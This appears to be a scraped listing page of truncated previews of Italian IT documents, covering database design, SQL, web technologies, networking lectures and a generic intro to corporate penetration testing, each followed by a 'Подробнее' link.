Sicurezza Aziendale: gestione del rischio IT (Penetration Test ) Sicurezza Aziendale: gestione del rischio IT (Penetration Test ) Uno dei maggiori rischi aziendali è oggi relativo a tutto ciò che concerne l Information Technology (IT). Solo negli ultimi anni si è iniziato

Подробнее

1. Schema concettuale della base di dati Lo schema concettuale (o statico) è uno dei due schemi del progetto concettuale di un sistema informativo.

1. Schema concettuale della base di dati Lo schema concettuale (o statico) è uno dei due schemi del progetto concettuale di un sistema informativo. Esame di Stato Istituto Tecnico Industriale Proposta di soluzione della seconda prova Indirizzo: INFORMATICA Tema: INFORMATICA Anno Scolastico: 2003-2004 1. Schema concettuale della base di dati Lo schema

Подробнее

Al giorno d oggi, i sistemi per la gestione di database

Al giorno d oggi, i sistemi per la gestione di database Introduzione Al giorno d oggi, i sistemi per la gestione di database implementano un linguaggio standard chiamato SQL (Structured Query Language). Fra le altre cose, il linguaggio SQL consente di prelevare,

Подробнее

Implementing a new ADT based on the HL7 version 3 RIM. Esempio

Implementing a new ADT based on the HL7 version 3 RIM. Esempio Implementing a new ADT based on the HL7 version 3 RIM Esempio Contesto di riferimento Alla fine degli anni 90, sei ospedali vennero fusi allo scopo di formare un unica organizzazione lo University Hospital

Подробнее

Specifiche tecniche e funzionali del Sistema Orchestra

Specifiche tecniche e funzionali del Sistema Orchestra Specifiche tecniche e funzionali del Sistema Orchestra Sommario 1. Il Sistema Orchestra... 3 2. Funzionalità... 3 2.1. Sistema Orchestra... 3 2.2. Pianificazione e monitoraggio dei piani strategici...

Подробнее

Università degli Studi "Roma Tre" Dipartimento di Informatica ed automazione. Facoltà di Ingegneria

Università degli Studi Roma Tre Dipartimento di Informatica ed automazione. Facoltà di Ingegneria Università degli Studi "Roma Tre" Dipartimento di Informatica ed automazione Facoltà di Ingegneria Corso di Laurea in Ingegneria Informatica Tesi di Laurea AUTENTICAZIONE PER APPLICAZIONI WEB Relatore

Подробнее

BASI DI DATI per la gestione dell informazione. Angelo Chianese Vincenzo Moscato Antonio Picariello Lucio Sansone

BASI DI DATI per la gestione dell informazione. Angelo Chianese Vincenzo Moscato Antonio Picariello Lucio Sansone BASI DI DATI per la gestione dell informazione Angelo Chianese Vincenzo Moscato Antonio Picariello Lucio Sansone Libro di Testo 22 Chianese, Moscato, Picariello e Sansone BASI DI DATI per la Gestione dell

Подробнее

E-MAIL INTEGRATA OTTIMIZZAZIONE DEI PROCESSI AZIENDALI

E-MAIL INTEGRATA OTTIMIZZAZIONE DEI PROCESSI AZIENDALI E-MAIL INTEGRATA OTTIMIZZAZIONE DEI PROCESSI AZIENDALI E-MAIL INTEGRATA Ottimizzazione dei processi aziendali Con il modulo E-mail Integrata, NTS Informatica ha realizzato uno strumento di posta elettronica

Подробнее

Lezione n 1! Introduzione"

Lezione n 1! Introduzione Lezione n 1! Introduzione" Corso sui linguaggi del web" Fondamentali del web" Fondamentali di una gestione FTP" Nomenclatura di base del linguaggio del web" Come funziona la rete internet?" Connessione"

Подробнее

Una metodologia di progettazione di applicazioni web centrate sui dati

Una metodologia di progettazione di applicazioni web centrate sui dati Una metodologia di progettazione di applicazioni web centrate sui dati A L B E R T O B E L U S S I A N N O A C C A D E M I C O 2 0 1 1 / 2 0 1 2 Progettazione logica di un sito web centrato sui dati Si

Подробнее

Reti di Telecomunicazione Lezione 6

Reti di Telecomunicazione Lezione 6 Reti di Telecomunicazione Lezione 6 Marco Benini Corso di Laurea in Informatica [email protected] Lo strato di applicazione protocolli Programma della lezione Applicazioni di rete client - server

Подробнее

Nuova Piattaforma Formazione a Distanza. Le regole di utilizzo

Nuova Piattaforma Formazione a Distanza. Le regole di utilizzo Nuova Piattaforma Formazione a Distanza Le regole di utilizzo LA STRUTTURA DEI CORSI Il catalogo formativo prevede per ogni utente di Agenzia un percorso formativo determinato sulla base del ruolo NewAge

Подробнее

DATABASE. www.andreavai.it

DATABASE. www.andreavai.it Cos'è un database? Quando si usa? Differenze con i fogli elettronici Le tabelle: record, campi, tipi di dati Chiavi e indici Database relazionali (R-DBMS) Relazioni uno-a-uno Relazioni uno-a-molti Relazioni

Подробнее

Database. Appunti di Amaranto Oronzo e Giancane Diego Lezione dell Ing. Lucia Vaira 24/04/2014

Database. Appunti di Amaranto Oronzo e Giancane Diego Lezione dell Ing. Lucia Vaira 24/04/2014 Database Appunti di Amaranto Oronzo e Giancane Diego Lezione dell Ing. Lucia Vaira 24/04/2014 Cos'è un database? È una struttura di dati composta da tabelle a loro volta composte da campi. Caratteristiche

Подробнее

Esempio di esecuzione di una pagina JSP: Il client chiede la pagina: http:// sdfonline.unimc.it/info/modulo.jsp;

Esempio di esecuzione di una pagina JSP: Il client chiede la pagina: http:// sdfonline.unimc.it/info/modulo.jsp; JAVA SERVER PAGES Una pagina JSP (Java Server Pages), richiesta da un utente (client), viene eseguita dal server web nella propria memoria; generalmente il prodotto dell elaborazione è una pagina html

Подробнее

Tecnologie per il Web. Il web: Architettura HTTP HTTP. SSL: Secure Socket Layer

Tecnologie per il Web. Il web: Architettura HTTP HTTP. SSL: Secure Socket Layer Tecnologie per il Web Il web: architettura e tecnologie principali Una analisi delle principali tecnologie per il web Tecnologie di base http, ssl, browser, server, firewall e proxy Tecnologie lato client

Подробнее